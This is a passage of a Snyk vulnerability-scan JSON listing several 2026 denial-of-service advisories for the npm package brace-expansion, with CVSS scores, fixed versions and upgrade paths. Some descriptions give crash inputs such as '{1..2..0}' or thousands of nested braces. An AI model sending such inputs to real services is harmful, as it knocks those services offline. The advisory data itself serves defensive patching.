"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
